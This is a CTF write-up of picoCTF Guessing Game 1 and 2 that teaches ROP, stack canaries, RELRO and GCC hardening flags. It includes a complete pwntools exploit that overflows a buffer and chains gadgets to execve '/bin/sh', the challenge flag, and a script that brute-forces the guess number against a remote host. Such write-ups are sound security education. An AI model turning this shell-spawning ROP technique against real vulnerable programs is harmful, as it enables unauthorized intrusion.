This was my first time solving a ROP challenge with a canary.

In this writeup, I explain the solutions to the picoCTF Guessing Game 1 and 2 challenges.

I’ll cover ROP, canaries, GCC flags, static and dynamic linking, PLT & GOT, RELRO, and much more.

I recommend reading my previous ret2libc post here before reading this.

Guessing Game 1

file + checksec + C code

A 64 bit ELF file is given.

file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=94924855c14a01a7b5b38d9ed368fba31dfd4f60, not stripped

Here’s the checksec result. We can’t use shellcode because NX is turned on.

checksec vuln
[*] '/picoctf/guessing_game/vuln'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 100


long increment(long in) {
	return in + 1;
}

long get_random() {
	return rand() % BUFSIZE;
}

int do_stuff() {
	long ans = get_random();
	ans = increment(ans);
	int res = 0;
	
	printf("What number would you like to guess?\n");
	char guess[BUFSIZE];
	fgets(guess, BUFSIZE, stdin);
	
	long g = atol(guess);
	if (!g) {
		printf("That's not a valid number!\n");
	} else {
		if (g == ans) {
			printf("Congrats! You win! Your prize is this print statement!\n\n");
			res = 1;
		} else {
			printf("Nope!\n\n");
		}
	}
	return res;
}

void win() {
	char winner[BUFSIZE];
	printf("New winner!\nName? ");
	fgets(winner, 360, stdin);
	printf("Congrats %s\n\n", winner);
}

int main(int argc, char **argv){
	setvbuf(stdout, NULL, _IONBF, 0);
	// Set the gid to the effective gid
	// this prevents /bin/sh from dropping the privileges
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	
	int res;
	
	printf("Welcome to my guessing game!\n\n");
	
	while (1) {
		res = do_stuff();
		if (res) {
			win();
		}
	}
	
	return 0;
}

You can also make the ELF file yourself with the makefile.

Just install make on your *nix system and run make.

I know how to use makefiles, but I’m not too familiar with it.

If you want to understand what make is, read this.

makefile + GCC flags

all:
	gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c

clean:
	rm vuln

Here are the gcc flags used in the make file.

-m64 (machine 64 bit) creates a 64 bit ELF 

-fno-stack-protector (no canary)

-O0 (no compiler optimization) 

-no-pie (Not a position independent executable)

-static (statically linked)

Linking (Static vs Dynamic)

The binary is a statically linked file.

What is static linking?

There are 2 types of linking (Static and Dynamic).

Statically linked binaries have all the necessary libraries copied in the ELF file.

Since it has all the library files inside the ELF file it’s easy to port the binary to other systems.

However, since all the library files are inside the ELF executable itself, the files are generally larger than dynamically linked files.

I made a dynamically linked version of vuln the command below.

I only got rid of the -static flag and the -m64 flag.

gcc -fno-stack-protector -O0 -no-pie -o dynamic_vuln vuln.c

vuln is the statically linked file that picoCTF gave me.

dynamic_vuln is the dynamically linked file that I made up.

du -h vuln
836K    vuln
du -h dynamic_vuln 
20K     dynamic_vuln

You can tell that the statically linked binary is almost 42 times bigger in size.

Exploit Explanation

A BOF can be exploited in the win function.

#define BUFSIZE 100
void win() {
	char winner[BUFSIZE];
	printf("New winner!\nName? ");
	fgets(winner, 360, stdin);
	printf("Congrats %s\n\n", winner);
}

Let’s run the binary.

./vuln
Welcome to my guessing game!

What number would you like to guess?
3
Nope!
What number would you like to guess?

I need to get the guess the correct number, or else the program will continue to ask until I get it right.

Let’s find out what the random value is.

b get_random
r
finish
p $rax
gef➤  p $rax
$1 = 0x53

The get_random function will return 0x53(83) every time you run the binary because, the random function doesn’t have a seed value.

Even though it returns 0x53(83), you have to pass 0x54(84) because the increment functions adds 1 to the return value of get_random.

Let’s run the binary again, now we’ll pass the first check because I know the random number.

./vuln
Welcome to my guessing game!

What number would you like to guess?
84   
Congrats! You win! Your prize is this print statement!

New winner!
Name? hwkim301
Congrats hwkim301

How do we get a shell though?

There isn’t a system function that I can use to pop a shell…

However, there’s a method we can use called ROP.

If there are available gadgets for ROP, we can chain the gadgets and control the instruction pointer by manipulating the stack.

Normally people call execve because it creates a child process to run the programs you usually want to run like '/bin/sh.

Since execve is a syscall setting the register execve needs and triggering the syscall with the syscall instruction will let you run programs you want.

Here’s the process of setting up execve("/bin/sh",0,0) using ROP.

  1. A BOF overwrites the return address on the stack

  2. The program tries to return, but instead jumps to my first gadget ex) pop rax; ret

  3. pop rax; ret executes, rax is loaded with the execve syscall number from the stack and ret jumps to the next address on the stack

  4. This continues for rdi, rsi and rdx, loading the /bin/sh address and nulls for arguments and environments

  5. Finally the syscall; ret gadget is executed and the the kernel executes execve("/bin/sh",NULL,NULL) popping a shell.

I’ve solve a couple of BOF problems before.

The return address were always at the size of buffer + 8 bytes for 64 bits (rbp+8) and (ebp+4) for 32 bits but for this problem it’s not.

The distance from winner(the buffer) to the return address is 120 bytes.

According to the disassembly although, although the buffer is only 100 bytes the program allocated 0x70(112) bytes.

On x86-64 the stack must be 16 byte aligned and the nearest multiple of 16 bigger than 100 is 112.

It needs to be 16 byte aligned, for stack alignment and space for other variables or saved registers.

There’s a nice explanation on why is has to be 16-byte aligned here.

gef➤  disass win
Dump of assembler code for function win:
  0x0000000000400c40 <+0>:     push   rbp
  0x0000000000400c41 <+1>:     mov    rbp,rsp
  0x0000000000400c44 <+4>:     sub    rsp,0x70
  0x0000000000400c48 <+8>:     lea    rdi,[rip+0x92478]        # 0x4930c7
  0x0000000000400c4f <+15>:    mov    eax,0x0
  0x0000000000400c54 <+20>:    call   0x410010 <printf>
  0x0000000000400c59 <+25>:    mov    rdx,QWORD PTR [rip+0x2b9b48]        # 0x6ba7a8 <stdin>
  0x0000000000400c60 <+32>:    lea    rax,[rbp-0x70]
  0x0000000000400c64 <+36>:    mov    esi,0x168
  0x0000000000400c69 <+41>:    mov    rdi,rax
  0x0000000000400c6c <+44>:    call   0x410a10 <fgets>
  0x0000000000400c71 <+49>:    lea    rax,[rbp-0x70]
  0x0000000000400c75 <+53>:    mov    rsi,rax
  0x0000000000400c78 <+56>:    lea    rdi,[rip+0x9245b]        # 0x4930da
  0x0000000000400c7f <+63>:    mov    eax,0x0
  0x0000000000400c84 <+68>:    call   0x410010 <printf>
  0x0000000000400c89 <+73>:    nop
  0x0000000000400c8a <+74>:    leave
  0x0000000000400c8b <+75>:    ret
End of assembler dump.

So to overwrite the return address we need 0x70+8(120) bytes.

We finished the first step, which was to overwrite the return address.

Now we need to set up the registers to call execve("/bin/sh",NULL,NULL).

How does execve("/bin/sh",NULL,NULL) call '/bin/sh'?

First, the OS needs to know the memory address where '/bin/sh' is stored.

Let’s find out where '/bin/sh' address is in the memory.

I ran strings -a -t x vuln | grep "/bin/sh" and it returned nothing.

This means the literal string "/bin/sh\x00" is not present in the vuln binary’s code or data sections at a fixed, known address.

Then we need to manually make the program write '/bin/sh' and then point to it.

The .bss section (and .data section) are the “blank spots” or “scratchpads” on your whiteboard.

They are designated areas for variables, and crucially, they are writable.

Since "/bin/sh" isn’t in .text or .rodata, you need a place to put it.

The .bss section is the perfect candidate because,

It’s writable, and its address is fixed and known in a statically linked, non-PIE binary

There are 2 ways to put "/bin/sh" in memory if it isn’t in .text or .rodata.

1. Using the read sysall

This is like telling your program:

“Hey, take the next 8 bytes you receive from standard input. (Your keyboard, or my exploit script) and write them into 0x6b7000 (the bss address).”

Your ROP chain sets up the read syscall read(0, bss_addr, 8).

Then, after the payload is sent, you send "/bin/sh\x00" as a separate input.

The read syscall catches it and places it into bss.

2. Using mov gadgets

This is like telling your program: “Take the value I’ve cleverly placed in a register (like rdx), and copy it directly into memory at 0x6b7000 (the bss address).”

Your ROP chain sets up rdi to point to 0x6b7000 and rdx to hold "/bin/sh\x00" (which you literally put on the stack as part of your ROP chain).

Then, a mov [rdi], rdx gadget executes, performing the copy.

Now that we’ve placed '/bin/sh' in memory we can call the execve sycall.

Here’s the code for setting up the execve syscall.

It’s relatively simpler than writing '/bin/sh' to memory.

payload += p64(pop_rax)
payload += p64(0x3B) # execve syscall number 0x59 
payload += p64(pop_rdi)
payload += p64(bss) # we need to set rdi to the address of "/bin/sh" which is in the bss
payload += p64(pop_rsi)
payload += p64(0) # rsi should be NULL(0) for execve
payload += p64(pop_rdx) 
payload += p64(0) # rdx should be NULL(0) for execve
payload += p64(syscall) # run the syscall

Exploit Code

from pwn import *

r = remote('jupiter.challenges.picoctf.org', 39940)
e = ELF('./vuln')
rop_chain = ROP('./vuln')

pop_rdi = rop_chain.find_gadget(['pop rdi', 'ret']).address 
pop_rsi = rop_chain.find_gadget(['pop rsi', 'ret']).address
pop_rdx = rop_chain.find_gadget(['pop rdx', 'ret']).address
pop_rax = rop_chain.find_gadget(['pop rax', 'ret']).address
syscall = rop_chain.find_gadget(['syscall']).address
mov_rdi_rdx = 0x0000000000436393 # pwntools rop_chain class cannot find this gadget, so I found it manually with rop_chaingadget ...
bss = e.bss()


payload = b'A' * (0x70 + 8) # offset from the start of the buffer to the return address
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += b'/bin/sh\x00'
payload += p64(mov_rdi_rdx)

payload += p64(pop_rax)
payload += p64(0x3B) # execve syscall number 0x59 
payload += p64(pop_rdi)
payload += p64(bss) # we need to set rdi to the address of '/bin/sh' which is in the bss
payload += p64(pop_rsi)
payload += p64(0) # rsi should be NULL(0) for execve
payload += p64(pop_rdx) 
payload += p64(0) # rdx should be NULL(0) for execve
payload += p64(syscall) # run the syscall

r.sendline(b'84')
r.sendlineafter(b'Name?', payload)
r.interactive()
# picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_8cd37a0911d46b6b}`

After thought

I learned a lot in this challenge.

It was super hard but still more doable then the filtered shellcode challenge.

I looked at almost all the writeups online lol.

Each writeup has a certain piece of information that other writeups don’t have.

Don’t be too hard on your self even if you struggle or have a hard time with this challenge , ROP is very hard.

Further Reading

  1. mov gadget

A Chinese writeup using mov instruction to put /bin/sh in memory.

  1. read syscall

A Korean writeup using the read syscall to put /bin/sh in memory.

  1. 120 byte offset

A Japanese writeup explaining why the offset is 120.

  1. Thorough writeup

A nice, detailed writeup in traditional Chinese.

Guessing Game 2

file + checksec + C code

Unlike guessing game1, it’s a 32 bit dynamically ELF.

file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=24c4fa8500082ef048a420baadc6a3d777d39f34, not stripped
checksec vuln
[*] '/home/picoctf/pwn/guessing_game2/vuln'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

The source code is provided.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 100


long increment(long in) {
	return in + 1;
}

long get_random() {
	return rand() % BUFSIZE;
}

int do_stuff() {
	long ans = get_random();
	ans = increment(ans);
	int res = 0;
	
	printf("What number would you like to guess?\n");
	char guess[BUFSIZE];
	fgets(guess, BUFSIZE, stdin);
	
	long g = atol(guess);
	if (!g) {
		printf("That's not a valid number!\n");
	} else {
		if (g == ans) {
			printf("Congrats! You win! Your prize is this print statement!\n\n");
			res = 1;
		} else {
			printf("Nope!\n\n");
		}
	}
	return res;
}

void win() {
	char winner[BUFSIZE];
	printf("New winner!\nName? ");
	fgets(winner, 360, stdin);
	printf("Congrats %s\n\n", winner);
}

int main(int argc, char **argv){
	setvbuf(stdout, NULL, _IONBF, 0);
	// Set the gid to the effective gid
	// this prevents /bin/sh from dropping the privileges
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	
	int res;
	
	printf("Welcome to my guessing game!\n\n");
	
	while (1) {
		res = do_stuff();
		if (res) {
			win();
		}
	}
	
	return 0;
}

Makefile

They also gave us a Makefile, let’s check that out first.

all:
	gcc -m32 -no-pie -Wl,-z,relro,-z,now -o vuln vuln.c

clean:
	rm vuln

We know the flag -m32, -no-pie and -o but what are the -Wl -z relro -z now flags.

If you use the gcc -Wl -z rerlro and gcc -z now to compile the binary, the binary becomes Full Relro.

That means we can’t overwrite the GOT.

GCC Flags

Now let’s breakdown what each flag means.

gcc -Wl -z relro

-Wl is a GCC flag that tells the compiler to pass the options after it directly to the linker (ld).

I’m not sure what the ‘W’ stands for but the l stands for linker.

-z relro this linker options stands for RELocation Read-Only this is the flag that makes certain sections of the binary read only after the dynamic linker resolves symbols.

-z now this linker options stands for Bind Now. It tells the dynamic linker to resolve all dynamic symbols when the program is first loaded, than doing it lazily(one by one as functions are called).

Wow, the explanations for -z relro and -z now are kind of hard to understand.

I’ll try to rephrase it so normal people like you and I can understand.

ELF files use the PLT and GOT to find resolve or find addresses of functions.

Let me try to explain it as easily as possible, I will not explain the details.

When we run an ELF file we actually don’t know what the memory address of functions are until that function is used.

Dynamically linked binaries(the majority of ELFs) use the PLT(Procedural Linkage Table) which are stubs (short codes) in the binary if it’s the first time calling a certain function.

After calling the PLT it will jump to the address in GOT.

Then it will update the plt@got entry, from now on when the binary calls the function twice it won’t need to use the plt and can use the memory address from the plt@got.

If you don’t pass the gcc -Wl -z now flag the addresses of the functions used in the binary will be resolved when it’s called using the PLT and GOT.

However by passing the gcc -Wl -z now flag it will resolved the addresses of the functions at the very beginning.

gcc -z relro sets the GOT to read-only.

readelf --program-header --wide vuln

Elf file type is EXEC (Executable file)
Entry point 0x8048520
There are 9 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R   0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00c20 0x00c20 R E 0x1000
  LOAD           0x000ebc 0x08049ebc 0x08049ebc 0x0014c 0x00150 RW  0x1000
  DYNAMIC        0x000ec4 0x08049ec4 0x08049ec4 0x000f8 0x000f8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x000a0c 0x08048a0c 0x08048a0c 0x0006c 0x0006c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
  GNU_RELRO      0x000ebc 0x08049ebc 0x08049ebc 0x00144 0x00144 R   0x1

You can see that it has a R for read-only.

GNU_RELRO      0x000ebc 0x08049ebc 0x08049ebc 0x00144 0x00144 R   0x1

I noticed another interesting fact that when compiling an ELF using gcc on Ubuntu(24.04) without passing any flags, it enables all the secruity flags by default.

I wrote this example program then compiled it with gcc hello.c

#include <stdio.h>

int main(){
    printf("hello");
}

Here’s the checksec result.

checksec a.out 
[*] '/root/picoctf/a.out'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

The binary has Full RELRO, NX and PIE enabled, the only security feature it doesn’t have is the stack canary.

I previously thought you had to pass the -Wl -z now, -Wl -z relro flag for Full RELRO,

-fstack-protector to enable the canary and -pie flag to make the ELF a position independant executable.

I then thought even when I run the default command (gcc hello.c) without any optimization or passing any flags at all, gcc passes the flags for security features on itself by default.

To find out if I was right, I checked what the actual command was using gcc -v.

gcc -v hello.c 

This was the result, it’s long and hard to read…

gcc -v hello.c 
Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/libexec/gcc/x86_64-linux-gnu/13/lto-wrapper
OFFLOAD_TARGET_NAMES=nvptx-none:amdgcn-amdhsa
OFFLOAD_TARGET_DEFAULT=1
Target: x86_64-linux-gnu
Configured with: ../src/configure -v --with-pkgversion='Ubuntu 13.3.0-6ubuntu2~24.04' --with-bugurl=file:///usr/share/doc/gcc-13/README.Bugs --enable-languages=c,ada,c++,go,d,fortran,objc,obj-c++,m2 --prefix=/usr --with-gcc-major-version-only --program-suffix=-13 --program-prefix=x86_64-linux-gnu- --enable-shared --enable-linker-build-id --libexecdir=/usr/libexec --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --enable-bootstrap --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-libstdcxx-backtrace --enable-gnu-unique-object --disable-vtable-verify --enable-plugin --enable-default-pie --with-system-zlib --enable-libphobos-checking=release --with-target-system-zlib=auto --enable-objc-gc=auto --enable-multiarch --disable-werror --enable-cet --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-offload-targets=nvptx-none=/build/gcc-13-fG75Ri/gcc-13-13.3.0/debian/tmp-nvptx/usr,amdgcn-amdhsa=/build/gcc-13-fG75Ri/gcc-13-13.3.0/debian/tmp-gcn/usr --enable-offload-defaulted --without-cuda-driver --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu --with-build-config=bootstrap-lto-lean --enable-link-serialization=2
Thread model: posix
Supported LTO compression algorithms: zlib zstd
gcc version 13.3.0 (Ubuntu 13.3.0-6ubuntu2~24.04) 
COLLECT_GCC_OPTIONS='-v' '-mtune=generic' '-march=x86-64' '-dumpdir' 'a-'
 /usr/libexec/gcc/x86_64-linux-gnu/13/cc1 -quiet -v -imultiarch x86_64-linux-gnu hello.c -quiet -dumpdir a- -dumpbase hello.c -dumpbase-ext .c -mtune=generic -march=x86-64 -version -fasynchronous-unwind-tables -fstack-protector-strong -Wformat -Wformat-security -fstack-clash-protection -fcf-protection -o /tmp/cc3YL5pl.s
GNU C17 (Ubuntu 13.3.0-6ubuntu2~24.04) version 13.3.0 (x86_64-linux-gnu)
        compiled by GNU C version 13.3.0, GMP version 6.3.0, MPFR version 4.2.1, MPC version 1.3.1, isl version isl-0.26-GMP

GGC heuristics: --param ggc-min-expand=95 --param ggc-min-heapsize=122344
ignoring nonexistent directory "/usr/local/include/x86_64-linux-gnu"
ignoring nonexistent directory "/usr/lib/gcc/x86_64-linux-gnu/13/include-fixed/x86_64-linux-gnu"
ignoring nonexistent directory "/usr/lib/gcc/x86_64-linux-gnu/13/include-fixed"
ignoring nonexistent directory "/usr/lib/gcc/x86_64-linux-gnu/13/../../../../x86_64-linux-gnu/include"
#include "..." search starts here:
#include <...> search starts here:
 /usr/lib/gcc/x86_64-linux-gnu/13/include
 /usr/local/include
 /usr/include/x86_64-linux-gnu
 /usr/include
End of search list.
Compiler executable checksum: 38987c28e967c64056a6454abdef726e
COLLECT_GCC_OPTIONS='-v' '-mtune=generic' '-march=x86-64' '-dumpdir' 'a-'
 as -v --64 -o /tmp/ccFPRWin.o /tmp/cc3YL5pl.s
GNU assembler version 2.42 (x86_64-linux-gnu) using BFD version (GNU Binutils for Ubuntu) 2.42
COMPILER_PATH=/usr/libexec/gcc/x86_64-linux-gnu/13/:/usr/libexec/gcc/x86_64-linux-gnu/13/:/usr/libexec/gcc/x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/13/:/usr/lib/gcc/x86_64-linux-gnu/
LIBRARY_PATH=/usr/lib/gcc/x86_64-linux-gnu/13/:/usr/lib/gcc/x86_64-linux-gnu/13/../../../x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/13/../../../../lib/:/lib/x86_64-linux-gnu/:/lib/../lib/:/usr/lib/x86_64-linux-gnu/:/usr/lib/../lib/:/usr/lib/gcc/x86_64-linux-gnu/13/../../../:/lib/:/usr/lib/
COLLECT_GCC_OPTIONS='-v' '-mtune=generic' '-march=x86-64' '-dumpdir' 'a.'
 /usr/libexec/gcc/x86_64-linux-gnu/13/collect2 -plugin /usr/libexec/gcc/x86_64-linux-gnu/13/liblto_plugin.so -plugin-opt=/usr/libexec/gcc/x86_64-linux-gnu/13/lto-wrapper -plugin-opt=-fresolution=/tmp/ccgk4h1k.res -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lgcc_s -plugin-opt=-pass-through=-lc -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lgcc_s --build-id --eh-frame-hdr -m elf_x86_64 --hash-style=gnu --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro /usr/lib/gcc/x86_64-linux-gnu/13/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/13/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/13/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/13 -L/usr/lib/gcc/x86_64-linux-gnu/13/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/13/../../../../lib -L/lib/x86_64-linux-gnu -Llib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/13/../../.. /tmp/ccFPRWin.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/13/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/13/../../../x86_64-linux-gnu/crtn.o
COLLECT_GCC_OPTIONS='-v' '-mtune=generic' '-march=x86-64' '-dumpdir' 'a.'
-pie -z now -z relro

Aha, and as I expected you can see it passed the -pie -z now -z relro flag.

The gcc flag to for the canary was found as well.

-stack-protector-strong 

After some research I found out that it isn’t gcc that’s enabling all the security features it’s actually the OS(Ubuntu) that’s actually enabling these security features by default.

Here’s a documentation on which security feature Ubuntu enables on default.

https://documentation.ubuntu.com/security/docs/security-features/process-memory/compiler-flags/#built-as-pie

  1. NX(Non-eXecutable Stack)

NX is the oldest default security feature enabled.

Nx has been active on all supported architectures since Ubuntu 6.06 LTS

  1. RELRO

-Wl -z relro

The feature to make the GOT read-only has been enabeld since Ubuntu 8.10

-Wl -z now

This flag is a security feature that turns off default lazy linking.

It forces the program to resolve, or ‘fix,’ all function addresses at startup and write them into the Global Offset Table (GOT) before any code runs.

This hardens the binary against common GOT overwrite attacks that exploit the lazy resolution process.

To make the binary Full RELRO you need to pass both -Wl -z relro -Wl -z now when compiling it.

file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=24c4fa8500082ef048a420baadc6a3d777d39f34, not stripped

The security features that are enabled are also quite different from guessing game1.

Now we can finally understand what each and every secruity means.

Everything except PIE is enabled.

checksec vuln
[*] '/picoctf/guessing_game2/vuln'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

Here’s the C code.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 512


long get_random() {
	return rand;
}

int get_version() {
	return 2;
}

int do_stuff() {
	long ans = (get_random() % 4096) + 1;
	int res = 0;
	
	printf("What number would you like to guess?\n");
	char guess[BUFSIZE];
	fgets(guess, BUFSIZE, stdin);
	
	long g = atol(guess);
	if (!g) {
		printf("That's not a valid number!\n");
	} else {
		if (g == ans) {
			printf("Congrats! You win! Your prize is this print statement!\n\n");
			res = 1;
		} else {
			printf("Nope!\n\n");
		}
	}
	return res;
}

void win() {
	char winner[BUFSIZE];
	printf("New winner!\nName? ");
	gets(winner);
	printf("Congrats: ");
	printf(winner);
	printf("\n\n");
}

int main(int argc, char **argv){
	setvbuf(stdout, NULL, _IONBF, 0);
	// Set the gid to the effective gid
	// this prevents /bin/sh from dropping the privileges
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	
	int res;
	
	printf("Welcome to my guessing game!\n");
	printf("Version: %x\n\n", get_version());
	
	while (1) {
		res = do_stuff();
		if (res) {
			win();
		}
	}
	
	return 0;
}

Here’s the disassembly for the do_stuff function.

gef➤  disass do_stuff
Dump of assembler code for function do_stuff:
   0x0804865f <+0>:     push   ebp
   0x08048660 <+1>:     mov    ebp,esp
   0x08048662 <+3>:     push   ebx
   0x08048663 <+4>:     sub    esp,0x214
   0x08048669 <+10>:    call   0x8048570 <__x86.get_pc_thunk.bx>
   0x0804866e <+15>:    add    ebx,0x194e
   0x08048674 <+21>:    mov    eax,gs:0x14
   0x0804867a <+27>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804867d <+30>:    xor    eax,eax
   0x0804867f <+32>:    call   0x8048636 <get_random>
   0x08048684 <+37>:    mov    edx,eax
   0x08048686 <+39>:    mov    eax,edx
   0x08048688 <+41>:    sar    eax,0x1f
   0x0804868b <+44>:    shr    eax,0x14
   0x0804868e <+47>:    add    edx,eax
   0x08048690 <+49>:    and    edx,0xfff
   0x08048696 <+55>:    sub    edx,eax
   0x08048698 <+57>:    mov    eax,edx
   0x0804869a <+59>:    add    eax,0x1
   0x0804869d <+62>:    mov    DWORD PTR [ebp-0x214],eax
   0x080486a3 <+68>:    mov    DWORD PTR [ebp-0x218],0x0
   0x080486ad <+78>:    sub    esp,0xc
   0x080486b0 <+81>:    lea    eax,[ebx-0x167c]
   0x080486b6 <+87>:    push   eax
   0x080486b7 <+88>:    call   0x80484c0 <puts@plt>
   0x080486bc <+93>:    add    esp,0x10
   0x080486bf <+96>:    mov    eax,DWORD PTR [ebx+0x38]
   0x080486c5 <+102>:   mov    eax,DWORD PTR [eax]
   0x080486c7 <+104>:   sub    esp,0x4
   0x080486ca <+107>:   push   eax
   0x080486cb <+108>:   push   0x200
   0x080486d0 <+113>:   lea    eax,[ebp-0x20c]
   0x080486d6 <+119>:   push   eax
   0x080486d7 <+120>:   call   0x8048490 <fgets@plt>
   0x080486dc <+125>:   add    esp,0x10
   0x080486df <+128>:   sub    esp,0xc
   0x080486e2 <+131>:   lea    eax,[ebp-0x20c]
   0x080486e8 <+137>:   push   eax
   0x080486e9 <+138>:   call   0x80484e0 <atol@plt>
   0x080486ee <+143>:   add    esp,0x10
   0x080486f1 <+146>:   mov    DWORD PTR [ebp-0x210],eax
   0x080486f7 <+152>:   cmp    DWORD PTR [ebp-0x210],0x0
   0x080486fe <+159>:   jne    0x8048714 <do_stuff+181>
   0x08048700 <+161>:   sub    esp,0xc
   0x08048703 <+164>:   lea    eax,[ebx-0x1657]
   0x08048709 <+170>:   push   eax
   0x0804870a <+171>:   call   0x80484c0 <puts@plt>
   0x0804870f <+176>:   add    esp,0x10
   0x08048712 <+179>:   jmp    0x8048752 <do_stuff+243>
   0x08048714 <+181>:   mov    eax,DWORD PTR [ebp-0x210]
   0x0804871a <+187>:   cmp    eax,DWORD PTR [ebp-0x214]
   0x08048720 <+193>:   jne    0x8048740 <do_stuff+225>
   0x08048722 <+195>:   sub    esp,0xc
   0x08048725 <+198>:   lea    eax,[ebx-0x163c]
   0x0804872b <+204>:   push   eax
   0x0804872c <+205>:   call   0x80484c0 <puts@plt>
   0x08048731 <+210>:   add    esp,0x10
   0x08048734 <+213>:   mov    DWORD PTR [ebp-0x218],0x1
   0x0804873e <+223>:   jmp    0x8048752 <do_stuff+243>
   0x08048740 <+225>:   sub    esp,0xc
   0x08048743 <+228>:   lea    eax,[ebx-0x1604]
   0x08048749 <+234>:   push   eax
   0x0804874a <+235>:   call   0x80484c0 <puts@plt>
   0x0804874f <+240>:   add    esp,0x10
   0x08048752 <+243>:   mov    eax,DWORD PTR [ebp-0x218]
   0x08048758 <+249>:   mov    ecx,DWORD PTR [ebp-0xc]
   0x0804875b <+252>:   xor    ecx,DWORD PTR gs:0x14
   0x08048762 <+259>:   je     0x8048769 <do_stuff+266>
   0x08048764 <+261>:   call   0x8048910 <__stack_chk_fail_local>
   0x08048769 <+266>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x0804876c <+269>:   leave
   0x0804876d <+270>:   ret
End of assembler dump.
long ans = (get_random() % 4096) + 1;
int res = 0;

The c code calls get_random and then takes the modulus by dividing it with 4096 and adds a 1.

The corresponding instructions to the c code is this, you can see it adds 0x1 in the last instruction.

0x0804867f <+32>:    call   0x8048636 <get_random>
0x08048684 <+37>:    mov    edx,eax
0x08048686 <+39>:    mov    eax,edx
0x08048688 <+41>:    sar    eax,0x1f
0x0804868b <+44>:    shr    eax,0x14
0x0804868e <+47>:    add    edx,eax
0x08048690 <+49>:    and    edx,0xfff
0x08048696 <+55>:    sub    edx,eax
0x08048698 <+57>:    mov    eax,edx
0x0804869a <+59>:    add    eax,0x1

Since the eax register stores the random value and copies that to [ebp-0x214], we can set a break point right after that instruction and inspect the value with gdb to find the random value.

0x0804869d <+62>:    mov    DWORD PTR [ebp-0x214],eax
0x080486a3 <+68>:    mov    DWORD PTR [ebp-0x218],0x0
gef➤  b * 0x080486a3
Breakpoint 1 at 0x80486a3
gef➤  r

The random value is -863. I think everyone get’s a different random value.

gef➤  x/d $ebp-0x214
0xffffc6a4:     -863
./vuln 
Welcome to my guessing game!
Version: 2

What number would you like to guess?
-863
Congrats! You win! Your prize is this print statement!

New winner!
Name? hwkim301
Congrats: hwkim301

I tried entering the random number I found using gdb to the remote binary but it wasn’t the correct number.

It looks like the binary on remote uses a different random number.

According to Gemini, using different libc files result in different random values because the implementation of the random function doesn’t use a single, universal formula.

So basically we have to brute-force the random number from the binary on remote.

nc shape-facility.picoctf.net 56112
Welcome to my guessing game!
Version: 2

What number would you like to guess?
-863
Nope!
from pwn import *

r = remote('shape-facility.picoctf.net', 63781)
def brute_force():
    for i in range(-4096, 4096):
        r.sendlineafter(b'guess?\n', str(i).encode())
        resp = r.recvline(timeout=2)
        print(f'Tried {i}: {resp.decode().strip()}')
        if 'Nope!' not in resp.decode():
            print(f'random number is {i}')
            break

brute_force()

